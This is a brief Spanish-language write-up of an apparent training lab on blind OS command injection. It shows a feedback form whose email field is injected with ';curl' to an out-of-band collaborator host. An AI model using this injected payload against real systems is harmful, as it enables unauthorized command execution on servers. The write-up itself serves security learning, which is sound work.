Blind OS command injection with out-of-band interaction

En el sitio web encontraremos un apartado de enviar nuestro feedback.

Interceptando el trafico observaremos que en el parámetro de email podemos agregar un ; y ejecutar comandos.

csrf=rwaipPdZO90i7r5TqmXJfY3DzGM2nAfI&name=test&email=x;curl+http://5pva10p7hj4l34zaisfc3fry1p7gvbj0.oastify.com;&subject=test&message=test

Al tener una ejecución ciega, podemos enviarnos un curl.

Asi podremos ejecutar comandos